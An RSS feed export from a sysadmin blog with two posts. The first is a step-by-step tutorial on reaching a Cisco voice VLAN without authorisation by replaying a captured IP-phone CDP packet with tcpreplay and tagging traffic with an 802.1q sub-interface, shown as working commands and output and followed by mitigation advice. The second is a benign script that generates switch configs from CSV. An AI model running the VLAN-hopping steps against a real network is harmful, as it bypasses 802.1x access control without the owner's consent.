<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SavvyAdmin.com &#187; Cisco</title>
	<atom:link href="http://savvyadmin.com/tag/cisco/feed/" rel="self" type="application/rss+xml" />
	<link>http://savvyadmin.com</link>
	<description>For savvy admins everywhere...</description>
	<lastBuildDate>Fri, 21 Jan 2011 17:53:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>VLAN Hopping on Cisco Voice-enabled Switch Ports</title>
		<link>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/</link>
		<comments>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 03:33:31 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[802.1q]]></category>
		<category><![CDATA[802.1x]]></category>
		<category><![CDATA[CDP]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Packet Injection]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tcpreplay]]></category>
		<category><![CDATA[VLAN]]></category>

		<guid isPermaLink="false">http://savvyadmin.com/?p=654</guid>
		<description><![CDATA[There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a number of reasons why someone would want to gain unauthorized access to your network&#8217;s voice VLAN, and as you can guess, none of them are any good.  By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer&#8217;s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN.  <em><strong>Yes&#8230; even those protected by 802.1x authentication.</strong></em>  In the following how-to, we&#8217;ll demonstrate how exploit this behavior using Linux and freely available open source software.</p>
<p><strong>Prerequisites</strong><br />
First, install two packages from your repositories.  The <code>vlan</code> package adds a kernel module required for 802.1q VLAN tagging and the <code>vconfig</code> tool used to configure VLAN sub-interfaces.   <code>tcpreplay</code> is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.</p>
<blockquote><p><code><strong>sudo apt-get install vlan tcpreplay<br />
sudo modprobe 8021q</strong></code></p></blockquote>
<p>The second command loads the 8021q kernel module.  If you want the module loaded at boot-up, remember to add it to <code>/etc/modules</code> or the appropriate file for your GNU/Linux distribution.</p>
<p><strong>Discover Voice-enabled Switch Port Information</strong></p>
<p>Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements.  If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised.  From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404<br />
	Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'<br />
	Version String (0x05), length: 186 bytes:<br />
	  Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)<br />
	  Copyright (c) 1986-2009 by Cisco Systems, Inc.<br />
	  Compiled Mon 06-Apr-09 08:36 by amvarma<br />
	Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	<strong><em>Port-ID</em></strong> (0x03), length: 16 bytes: '<strong><em>FastEthernet0/24</em></strong>'<br />
	Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping<br />
	Protocol-Hello option (0x08), length: 32 bytes:<br />
	VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong><em>VoIP VLAN request</em></strong> (0x0e), length: 3 bytes: app 1, <strong><em>vlan 64</em></strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
	Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1<br />
	unknown field type (0x1a), length: 12 bytes:<br />
	  0x0000:  0000 0001 0000 0000 ffff ffff</code></p></blockquote>
<p><strong>Capture a Sample VoIP phone CDP Packet</strong></p>
<p>Plug the Cisco VoIP phone back into the switch port and wait for it to come back online.  Plug your laptop back into the data port of the phone in your typical daisy-chain topology.  Use <code>tcpdump</code> again to capture a single CDP packet, saving it to a capture file.  If you&#8217;re plugged into the phone, the only CDP packets you should see are those sent by the phone.  These CDP packets should be neatly constructed with all of the appropriate voice VLAN values.  From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number.  ;-)</p>
<p>The following <code>tcpdump</code> filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called <code>cdp-packet.cap</code>.  You will use this CDP packet capture file in your replay attack.</p>
<blockquote><p><code><strong>sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc</strong><br />
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes<br />
1 packets captured<br />
1 packets received by filter<br />
0 packets dropped by kernel</code></p></blockquote>
<p>Verify the CDP packet details by reading the capture file with <code>tcpdump</code>.  The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.</p>
<blockquote><p><code><strong>sudo tcpdump -vr cdp-packet.cap</strong><br />
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)<br />
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125<br />
	<strong><em>Device-ID</em></strong> (0x01), length: 15 bytes: '<strong><em>SEP0015626A51E9</em></strong>'<br />
	Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10<br />
	Port-ID (0x03), length: 6 bytes: 'Port 2'<br />
	Capability (0x04), length: 4 bytes: (0x00000490): L3 capable<br />
	Version String (0x05), length: 12 bytes:<br />
	  P00308010100<br />
	Platform (0x06), length: 19 bytes: '<strong><em>Cisco IP Phone 7940</em></strong>'<br />
	Native VLAN ID (0x0a), length: 2 bytes: 1<br />
	Duplex (0x0b), length: 1 byte: full<br />
	ATA-186 <strong>VoIP VLAN request</strong> (0x0e), length: 3 bytes: app 1, <strong>vlan 64</strong><br />
	AVVID trust bitmap (0x12), length: 1 byte: 0x00<br />
	AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00<br />
</code></p></blockquote>
<p><strong>Replay CDP Packets to Spoof a Cisco VoIP Phone</strong></p>
<p>You&#8217;ll want to unplug the phone from the switch and plug your computer into the switch port directly.  Using the <code>tcpreplay</code> command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone.  When the switch receives this packet, the voice VLAN will be available to use.</p>
<blockquote><p><code><strong>sudo tcpreplay -i eth0 cdp-packet.cap</strong><br />
Actual: 1 packets (147 bytes) sent in 0.06 seconds<br />
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps<br />
Statistics for network device: eth0<br />
	Attempted packets:         1<br />
	Successful packets:        1<br />
	Failed packets:            0<br />
	Retried packets (ENOBUFS): 0<br />
	Retried packets (EAGAIN):  0</code></p></blockquote>
<p>Once the Voice VLAN is enabled, you will only have a limited amount of time to use it.  A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop.  I prefer to use the <code>watch</code> command, and leave it running in a terminal until it&#8217;s no longer needed.  Using the command below, the CDP packet will be replayed every 60 seconds.</p>
<blockquote><p><code><strong>sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"</strong></code></p></blockquote>
<p><strong>Access Voice VLAN with 802.1q Sub-interface</strong></p>
<p>In order for you to access the voice VLAN, you must add a sub-interface for <code>eth0</code> using the <code>vconfig</code> command.  The following example uses <code>vconfig</code> to add a sub-interface that tags packets to access VLAN 64.  The sub-interface will be named <code>eth0.64</code> as shown below.</p>
<blockquote><p><code><strong>sudo vconfig add eth0 64</strong><br />
Added VLAN with VID == 64 to IF -:eth0:-</code></p>
<p><code><strong>ifconfig eth0.64</strong><br />
eth0.64   Link encap:Ethernet  HWaddr 00:26:b9:bc:5b:68<br />
          BROADCAST MULTICAST  MTU:1500  Metric:1<br />
          RX packets:95 errors:0 dropped:0 overruns:0 frame:0<br />
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:0<br />
          RX bytes:4370 (4.3 KB)  TX bytes:0 (0.0 B)</code></p></blockquote>
<p>At this point you can access the VLAN in any fashion you see fit.  For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.</p>
<blockquote><p><code><strong>sudo dhclient3 eth0.64</strong><br />
Listening on LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   LPF/eth0.64/00:26:b9:bc:5b:68<br />
Sending on   Socket/fallback<br />
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3<br />
DHCPOFFER of 10.1.64.11 from 10.1.64.5<br />
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67<br />
DHCPACK of 10.1.64.11 from 10.1.64.5<br />
bound to 10.1.64.11 -- renewal in 35707 seconds.</code></p>
<p><code><strong>ping -c 4 10.1.64.1</strong><br />
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.<br />
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms<br />
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms<br />
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms<br />
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms</code></p>
<p><code>--- 10.1.64.1 ping statistics ---<br />
4 packets transmitted, 4 received, 0% packet loss, time 3005ms<br />
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms</code></p></blockquote>
<p><strong>Mitigation&#8230; Aww, Bummer&#8230;</strong></p>
<p>Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access.  Remember, this &#8220;vulnerability&#8221; is really just a limitation of the voice VLAN negotiation process.  It&#8217;s not new (see the following <a href="http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_security_notice09186a008048e0d6.html" target="_blank">Cisco security bulletin<a/> from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.</p>
<p>However, for network administrators that wish to <em>limit</em> the threat associated to unauthorized voice VLAN access, consider the following recommendations.</p>
<p>1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks.  DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.</p>
<p>2. Add VLAN access lists and Layer-3 boundary ACL&#8217;s limiting clients on the Voice VLAN to access only resources required for VoIP functionality.  By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.</p>
<p>3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure.  Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.</p>
<p>4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.</p>
<p>There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers.  One such tool called <a href="http://voiphopper.sourceforge.net" target="_blank">VoIP Hopper</a> completely automates the above process.  It even comes with it&#8217;s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.  </p>
<p>I hope you have found this tutorial useful.  Feel free to add comments, suggestions, or drop me an email for confidential questions!</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Generate Text From Templates, Scripts and CSV Data</title>
		<link>http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/</link>
		<comments>http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 05:51:12 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[csv]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sed]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[Templates]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2008/03/06/generate-text-from-templates-scripts-and-csv-data/</guid>
		<description><![CDATA[If you are working on a project requiring that you generate hundreds or thousands of similar but unique text files, you probably will be looking for some type of task automation process. For example, a recent project required that we configure hundreds of Cisco switch configuration files, each being uniquely individualized with IP addresses, OSPF [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/bash-user-input-validation/' rel='bookmark' title='Bash User Input Validation'>Bash User Input Validation</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you are working on a project requiring that you generate hundreds or thousands of similar but unique text files, you probably will be looking for some type of task automation process.  For example, a recent project required that we configure hundreds of Cisco switch configuration files, each being uniquely individualized with IP addresses, OSPF configurations, random passwords, etc.  We also needed to configure an import data file for over a thousand DHCP ranges, obviously not something we felt like doing by hand.</p>
<p>For tasks like these, the best tools of the trade are text file templates that represent what the finished product should look like, spreadsheets for basic math and to create import data in the form of CSV&#8217;s (comma-separated values), and GNU/Linux shell scripting to pull it all together.</p>
<p>The process can be summarized as follows:</p>
<p>1. Use a template text file and identify the parts you wish to customize with easy to recognize variables.</p>
<p>2. Generate unique data in the CSV format that will serve to populate the template.</p>
<p>3. Run a Linux shell script that performs a search and replace function against the template, and outputs new text files with the values obtained from the CSV file.</p>
<p>In the following example, we will work with a basic Cisco switch configuration file that is condensed for brevity. Notice, we clearly label text within the template that we will use to search for and replace with values obtained from the CSV data.  These variables are <code>VAR_HOSTNAME, VAR_IPADDR, VAR_NETMASK, VAR_OSPF_KEY, VAR_TACACS_KEY</code>.</p>
<p><strong>Sample Template:</strong> <a title="Sample Template" href="http://www.savvyadmin.com/downloads/import-script/import-template.txt" target="_blank">import-template.txt</a></p>
<blockquote>
<pre>!
hostname VAR_HOSTNAME
!
interface Vlan100
ip address VAR_IPADDR VAR_NETMASK
ip ospf message-digest-key 1 md5 VAR_OSPF_KEY
!
tacacs-server host 1.1.1.1
tacacs-server key VAR_TACACS_KEY
!</pre>
</blockquote>
<p>The CSV file in our example is organized as follows:<br />
Field 1=&#8221;Host name&#8221;, Field 2=&#8221;IP address&#8221;, Field 3=&#8221;Subnet Mask&#8221;, Field 4=&#8221;OSPF key&#8221;, and Field 5=&#8221;TACACS key&#8221;</p>
<p><strong>Sample Data CSV File:</strong> <a title="Sample Data CSV File" href="http://www.savvyadmin.com/downloads/import-script/import-data.txt" target="_blank">import-data.txt</a></p>
<blockquote>
<pre>switch-01,10.1.1.1,255.255.255.0,ospf-key-1,tacacs-key-1
switch-02,10.1.1.2,255.255.255.0,ospf-key-2,tacacs-key-2
switch-03,10.1.1.3,255.255.255.0,ospf-key-3,tacacs-key-3
switch-04,10.1.1.4,255.255.255.0,ospf-key-4,tacacs-key-4
switch-05,10.1.1.5,255.255.255.0,ospf-key-5,tacacs-key-5</pre>
</blockquote>
<p>Here&#8217;s how we pull all of this together using a Linux shell script.  First, we define the location of our CSV import file.  Next we run a &#8220;for loop&#8221; that reads the CSV line by line, assigning each data value to a variable name.  Lastly, the script concatenates the template, replacing each defined search result with values from the CSV, and sends the output to individualized text files.  These text files are appropriately named according the unique value, which in this case is the switches host name.</p>
<p><strong>Import Shell Script:</strong> <a title="Import Shell Script" href="http://www.savvyadmin.com/downloads/import-script/import-script.sh" target="_blank">import-script.sh</a></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #007800;">IMPORT</span>=<span style="color: #ff0000;">&quot;./data/import-data.txt&quot;</span>
<span style="color: #007800;">TEMPLATE</span>=<span style="color: #ff0000;">&quot;./data/import-template.txt&quot;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #800000;">${IMPORT}</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #007800;">VAR_HOSTNAME</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$i</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F, <span style="color: #ff0000;">'{print $1}'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">VAR_IPADDR</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$i</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F, <span style="color: #ff0000;">'{print $2}'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">VAR_NETMASK</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$i</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F, <span style="color: #ff0000;">'{print $3}'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">VAR_OSPF_KEY</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$i</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F, <span style="color: #ff0000;">'{print $4}'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">VAR_TACACS_KEY</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$i</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F, <span style="color: #ff0000;">'{print $5}'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$TEMPLATE</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-e</span> s<span style="color: #000000; font-weight: bold;">/</span>VAR_HOSTNAME<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_HOSTNAME</span><span style="color: #000000; font-weight: bold;">/</span>g \
<span style="color: #660033;">-e</span> s<span style="color: #000000; font-weight: bold;">/</span>VAR_IPADDR<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_IPADDR</span><span style="color: #000000; font-weight: bold;">/</span>g \
<span style="color: #660033;">-e</span> s<span style="color: #000000; font-weight: bold;">/</span>VAR_NETMASK<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_NETMASK</span><span style="color: #000000; font-weight: bold;">/</span>g \
<span style="color: #660033;">-e</span> s<span style="color: #000000; font-weight: bold;">/</span>VAR_OSPF_KEY<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_OSPF_KEY</span><span style="color: #000000; font-weight: bold;">/</span>g \
<span style="color: #660033;">-e</span> s<span style="color: #000000; font-weight: bold;">/</span>VAR_TACACS_KEY<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_TACACS_KEY</span><span style="color: #000000; font-weight: bold;">/</span>g \
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tee</span> .<span style="color: #000000; font-weight: bold;">/</span>output<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$VAR_HOSTNAME</span>.txt <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

<p><strong>Step By Step:</strong></p>
<p>To follow along, you can download the above mentioned files, or copy and paste them from the text above.  Place the import-data.txt and import-template.txt files in a new directory called &#8220;data&#8221;, create a directory called &#8220;output&#8221;, and make the import-script.sh file executable.  The final step of course is to run the import script.  Here is a step by step to get you going.</p>
<blockquote>
<pre><strong>wget http://www.savvyadmin.com/download/import-script/import-script.sh
wget http://www.savvyadmin.com/download/import-script/import-data.txt
wget http://www.savvyadmin.com/download/import-script/import-template.txt
mkdir data output
mv ./import-template.txt ./import-data.txt ./data/
chmod 755 ./import-script.sh
./import-script.sh</strong></pre>
</blockquote>
<p>After you run the script successfully, list the &#8220;output&#8221; directory to see the newly created files.</p>
<blockquote>
<pre><strong>ls -l output/
</strong>total 20
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-01.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-02.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-03.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-04.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-05.txt</pre>
</blockquote>
<p>The contents of the first file in the example can be viewed as follows.  Note that all the variables from the template have been replaced appropriately by the data from the CSV.</p>
<blockquote>
<pre><strong>cat output/switch-01.txt
</strong>!
hostname switch-01
!
interface Vlan100
ip address 10.1.1.1 255.255.255.0
ip ospf message-digest-key 1 md5 ospf-key-1
!
tacacs-server host 1.1.1.1
tacacs-server key tacacs-key-1
!</pre>
</blockquote>
<p>I certainly hope this gives you some great ideas on how to make effective use of Linux scripts to make large amounts of work into manageable tasks.  Comments and questions are welcome.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/bash-user-input-validation/' rel='bookmark' title='Bash User Input Validation'>Bash User Input Validation</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

